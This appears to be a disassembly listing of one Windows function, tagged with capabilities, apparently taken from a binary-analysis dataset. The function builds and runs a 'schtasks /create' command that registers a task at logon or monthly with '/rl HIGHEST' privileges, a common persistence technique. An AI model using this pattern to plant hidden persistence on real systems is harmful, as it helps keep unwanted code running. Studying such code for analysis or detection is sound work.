Function at 0x407cd0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Schedule task via schtasks

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b018
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
push ebx
push esi
push edi
mov eax, dword [0x436650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor esi, esi
cmp dword [edi + 8], esi
je 0x407d5b
cmp dword [edi], esi
je 0x407d5b
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
call fcn.00407be0
mov dword [ebp - 4], esi
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x407d53
test al, 0x10
je 0x407d71
lea esi, [ebp - 0x64]
call fcn.00407ae0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x400
call fcn.0041576e
push 0x400
mov ebx, eax
push esi
push ebx
call fcn.0041cf90
add esp, 0x10
cmp dword [edi + 0xc], 1
mov edx, str.MONTHLY
jne 0x407d9c
mov edx, str.ONLOGON
lea eax, [ebx - 1]
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x407da0
mov ecx, dword [str.schtasks__create__sc]
mov dword [eax], ecx
mov ecx, dword [0x43190c]
mov dword [eax + 4], ecx
mov ecx, dword [0x431910]
mov dword [eax + 8], ecx
mov ecx, dword [0x431914]
mov dword [eax + 0xc], ecx
mov ecx, dword [0x431918]
mov dword [eax + 0x10], ecx
mov cx, word [0x43191c]
mov word [eax + 0x14], cx
mov eax, edx
mov esi, edx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407de3
sub eax, esi
lea edi, [ebx - 1]
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x407df0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x407e10
mov edx, dword [str.__tn]
mov dword [eax], edx
mov cx, word [0x431924]
mov edx, dword [ebp + 8]
mov word [eax + 4], cx
mov eax, dword [edx + 8]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407e33
sub eax, esi
lea edi, [ebx - 1]
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x407e40
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x407e60
mov ecx, dword [str.__tr___]
mov dword [eax], ecx
mov ecx, dword [0x43192c]
mov dword [eax + 4], ecx
mov cl, byte [0x431930]
mov byte [eax + 8], cl
mov eax, dword [edx]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407e86
sub eax, esi
lea edi, [ebx - 1]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x407e92
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
jmp 0x407eb0
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407eb0
mov eax, dword [0x431934]
mov dword [edi], eax
mov eax, dword [edx + 4]
test eax, eax
je 0x407eea
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407ec8
sub eax, esi
lea edi, [ebx - 1]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x407ed4
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x407ef0
mov ecx, dword [str.___rl_HIGHEST]
mov dword [eax], ecx
mov edx, dword [0x43193c]
mov dword [eax + 4], edx
mov ecx, dword [0x431940]
mov dword [eax + 8], ecx
mov dx, word [0x431944]
mov word [eax + 0xc], dx
push 0x40
lea eax, [ebp - 0xa8]
push 0
push eax
mov edi, 1
mov dword [ebp - 0xac], 0x44
call fcn.0041cf90
add esp, 0xc
xor eax, eax
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0xac]
push edx
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push ebx
push eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x407f98
mov eax, dword [ebp - 0x20]
push 0x2710
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x407f98
mov edx, dword [ebp - 0x20]
lea ecx, [ebp + 8]
push ecx
push edx
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp + 8], 0
je 0x407f9a
xor edi, edi
push ebx
call fcn.00416430
add esp, 4
lea esi, [ebp - 0x64]
call fcn.00407ae0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4